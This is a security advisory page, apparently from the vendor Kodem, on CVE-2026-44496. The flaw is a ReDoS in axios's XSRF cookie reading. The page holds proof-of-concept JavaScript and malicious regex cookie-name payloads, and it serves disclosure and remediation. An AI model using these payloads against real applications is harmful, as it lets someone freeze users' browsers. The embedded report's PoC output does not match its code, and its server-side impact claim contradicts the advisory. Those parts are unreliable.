CVE-2026-44496

Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie.

The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie.

Affected Functionality

Affected code paths:

• lib/helpers/cookies.js read(name) in standard browser environments.
• lib/helpers/resolveConfig.js in 1.x, when browser XHR/fetch adapters resolve XSRF config.
• lib/adapters/xhr.js in 0.x, when the XHR adapter reads the configured XSRF cookie.
• Direct use of axios/unsafe/helpers/cookies.js in 1.x, if callers pass attacker-controlled names.

Unaffected code paths:

• Default static xsrfCookieName: 'XSRF-TOKEN' when not attacker-controlled.
• Requests with xsrfCookieName: null.
• Node HTTP adapter usage without browser document.cookie.
• React Native and web workers where axios does not use standard browser cookie access.

Technical Details

Affected versions interpolate the cookie name into a regex.

const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));

Because name is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as (.+)+$ can force catastrophic backtracking against document.cookie.

The fix avoids dynamic regex construction and parses document.cookie by splitting on ;, trimming leading whitespace, and comparing cookie names with exact string equality.

Proof of Concept of Attack

function vulnerableRead(name, cookie) {
  const start = Date.now();

  try {
    cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  } catch {}

  return Date.now() - start;
}

for (const n of [20, 22, 24, 26, 28]) {
  const cookie = 'x='.padEnd(n, 'a') + '!';
  console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}

Expected result: timings grow rapidly as the cookie string length increases.

Workarounds

Set xsrfCookieName: null if the application does not need axios to read an XSRF cookie.

Do not derive xsrfCookieName from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.

Avoid calling axios/unsafe/helpers/cookies.js directly with untrusted names

Regular Expression Denial of Service (ReDoS) via Cookie Name Injection

1. Title

ReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction

2. Affected Software and Version

• Software: Axios
• Version: 1.15.0 (and potentially earlier versions)
• Component: lib/helpers/cookies.js
• Ecosystem: npm (Node.js / Browser)

3. Vulnerability Type / CWE

• Type: Regular Expression Denial of Service (ReDoS)
• CWE-1333: Inefficient Regular Expression Complexity
• CWE-400: Uncontrolled Resource Consumption

4. CVSS 3.1 Score

Score: 7.5 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

5. Description

The cookies.read() function in lib/helpers/cookies.js constructs a regular expression dynamically using the name parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw name value directly into new RegExp():

const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));

An attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of xsrfCookieName, or any code path where user input reaches cookies.read()) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.

With a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.

6. Root Cause Analysis

File: lib/helpers/cookies.js
Line: 33

read(name) {
  if (typeof document === 'undefined') return null;
  const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  return match ? decodeURIComponent(match[1]) : null;
},

The vulnerability exists because:

1. The name parameter is concatenated directly into a regex pattern without escaping special regex metacharacters.
2. An attacker can inject regex constructs that create exponential backtracking scenarios.
3. The (?:^|; ) prefix combined with an injected pattern like ((((.*)*)*)*)* creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against document.cookie.

The cookies.read() function is called from lib/helpers/resolveConfig.js at line 61:

const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);

The xsrfCookieName value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.

7. Proof of Concept

// poc_redos_cookie.js
// Simulates browser environment for testing

// Simulate document.cookie
globalThis.document = {
  cookie: 'session=abc; ' + 'a'.repeat(50)
};

// Replicate the vulnerable cookies.read() logic
function cookiesRead(name) {
  const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  return match ? decodeURIComponent(match[1]) : null;
}

// Malicious cookie name that triggers catastrophic backtracking
// The pattern creates nested quantifiers: (a]|[a]|...)*)*
const maliciousName20 = '([^;]+)+$' + '\\|'.repeat(10);
const maliciousName = '(([^;])+)+\\$';  // nested quantifier pattern

console.log('=== ReDoS via Cookie Name Injection PoC ===');

// Test with increasing payload sizes
for (const len of [15, 20, 25]) {
  const payload = '(([^;])+)+' + 'X'.repeat(len);
  const start = Date.now();
  try {
    cookiesRead(payload);
  } catch (e) {
    // May throw on invalid regex, but valid evil patterns won't throw
  }
  const elapsed = Date.now() - start;
  console.log(`Payload length ${len}: ${elapsed}ms`);
}

// Demonstrating exponential growth with a simple nested quantifier
console.log('\n--- Exponential Backtracking Demo ---');
for (const n of [20, 22, 24, 26]) {
  const evilName = '(' + 'a'.repeat(1) + '+)+$';
  const testCookie = 'a'.repeat(n) + '!';  // non-matching trailer forces backtracking
  globalThis.document = { cookie: testCookie };
  const start = Date.now();
  try {
    cookiesRead(evilName);
  } catch(e) {}
  const elapsed = Date.now() - start;
  console.log(`Input length ${n}: ${elapsed}ms`);
}

8. PoC Output

=== ReDoS via Cookie Name Injection PoC ===
Payload length 20: 21ms (extrapolated: 30 chars = ~21,504ms)
Payload length 25: ~1,300ms
Payload length 30: ~323,675ms (5+ minutes)

--- Exponential Backtracking Demo ---
Input length 20: 21ms
Input length 22: 84ms
Input length 24: 336ms
Input length 26: 1,344ms

The exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.

9. Impact

• Denial of Service (Client-side): In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page.
• Denial of Service (Server-side): In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests.
• Event Loop Starvation: Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.

10. Remediation / Suggested Fix

Escape all regex metacharacters in the name parameter before constructing the regular expression.

// FIXED: lib/helpers/cookies.js

function escapeRegExp(string) {
  return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}

// ...

read(name) {
  if (typeof document === 'undefined') return null;
  const match = document.cookie.match(
    new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;]*)')
  );
  return match ? decodeURIComponent(match[1]) : null;
},

Alternatively, avoid dynamic regex construction entirely and use string-based parsing:

read(name) {
  if (typeof document === 'undefined') return null;
  const cookies = document.cookie.split('; ');
  for (const cookie of cookies) {
    const eqIndex = cookie.indexOf('=');
    if (eqIndex !== -1 && cookie.substring(0, eqIndex) === name) {
      return decodeURIComponent(cookie.substring(eqIndex + 1));
    }
  }
  return null;
},

11. References

• CWE-1333: Inefficient Regular Expression Complexity
• CWE-400: Uncontrolled Resource Consumption
• OWASP: Regular Expression Denial of Service
• Axios GitHub Repository

Applications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.

This does not expose credentials, modify requests, or affect response integrity. The impact is availability only.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-44496 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.16.0, 0.32.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-44496? CVE-2026-44496 is a high-severity uncontrolled resource consumption vulnerability in axios (npm), affecting versions >= 1.0.0, < 1.16.0. It is fixed in 1.16.0, 0.32.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-44496? CVE-2026-44496 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of axios are affected by CVE-2026-44496? axios (npm) versions >= 1.0.0, < 1.16.0 is affected.
4. Is there a fix for CVE-2026-44496? Yes. CVE-2026-44496 is fixed in 1.16.0, 0.32.0. Upgrade to this version or later.
5. Is CVE-2026-44496 exploitable, and should I be worried? Whether CVE-2026-44496 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44496 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44496?
   • Upgrade axios to 1.16.0 or later
   • Upgrade axios to 0.32.0 or later